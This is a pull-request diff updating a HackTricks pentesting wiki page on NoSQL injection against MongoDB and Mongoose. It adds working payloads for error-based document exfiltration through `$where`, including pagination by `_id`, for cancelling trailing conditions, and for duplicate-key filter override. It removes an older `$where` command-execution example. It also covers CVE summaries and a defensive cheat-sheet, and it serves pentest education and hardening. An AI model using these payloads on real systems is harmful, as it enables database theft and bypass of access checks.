Merge pull request #2053 from HackTricks-wiki/research_update_src_pentesting-web_nosql-injection_20260326_025046

Research Update Enhanced src/pentesting-web/nosql-injection....

Author: carlospolop

src/pentesting-web/nosql-injection.md

@@ -134,21 +134,61 @@ Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrat
 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
 ```
 
+If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:
+
+```json
+{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }
+```
+
+### Beating pre/post conditions in syntax injection
+
+When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.
+
+In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses:
+
+```javascript
+' || 1 || 'x
+' || 1%00
+```
+
+In raw JSON filter injection, duplicate keys can override earlier constraints on parsers that follow a **last-key-wins** policy:
+
+```json
+// Original filter
+{"username":"<input>","role":"user"}
+
+// Injected value of <input>
+","username":{"$ne":""},"$comment":"dup-key
+
+// Effective filter on permissive parsers
+{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}
+```
+
+This trick is parser-dependent and only applies when the application assembles JSON with string concatenation/interpolation first. It does **not** apply when the backend keeps the query as a structured object end-to-end.
+
 ## Recent CVEs & Real-World Exploits (2023-2025)
 
 ### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359
-Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators. 
+Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.
 
-### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061
-When `populate()` is used with the `match` option, Mongoose (≤ 8.8.2) copied the object verbatim *before* sending it to MongoDB. Supplying `$where` therefore executed JavaScript **inside Node.js** even if server-side JS was disabled on MongoDB:
+### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061
+If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.
 
 ```js
-// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
-Post.find()
-    .populate({ path: 'author', match: req.query.author });   // RCE
+// Dangerous: attacker controls the full match object
+Post.find().populate({ path: 'author', match: req.query.author });
 ```
 
-The first patch (8.8.3) blocked top-level `$where`, but nesting it under `$or` bypassed the filter, leading to CVE-2025-23061. The issue was fully fixed in 8.9.5, and a new connection option `sanitizeFilter: true` was introduced.
+Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:
+
+```js
+mongoose.set('sanitizeFilter', true);
+
+Post.find().populate({
+  path: 'author',
+  match: { email: req.query.email }
+});
+```
 
 ### GraphQL → Mongo filter confusion
 Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable:
@@ -166,11 +206,11 @@ Mitigations: recursively strip keys that start with `$`, map allowed operators e
 
 ## Defensive Cheat-Sheet (updated 2025)
 
-1. Strip or reject any key that starts with `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
-2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting`, default in v7.0+).
-3. Prefer `$expr` and aggregation builders instead of `$where`.
-4. Validate data types early (Joi/Ajv) and disallow arrays where scalars are expected to avoid `[$ne]` tricks.
-5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects.
+1. Strip or reject keys that start with `$`; if Express is in front of Mongo/Mongoose, sanitize `req.body`, `req.query`, and `req.params` before they reach the ORM.
+2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting` or `security.javascriptEnabled: false`) so `$where` and similar JS sinks are unavailable.
+3. Prefer `$expr` and typed query builders instead of `$where`.
+4. Validate data types early (Joi/Ajv/Zod) and disallow arrays or objects where scalars are expected to avoid `[$ne]` tricks.
+5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects into Mongo/Mongoose filters.
 
 ## MongoDB Payloads
 
@@ -304,5 +344,6 @@ for u in get_usernames(""):
 - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
 - [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
 - [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
-
+- [https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/)
+- [https://mongoosejs.com/docs/6.x/docs/api/mongoose.html](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html)
 {{#include ../banners/hacktricks-training.md}}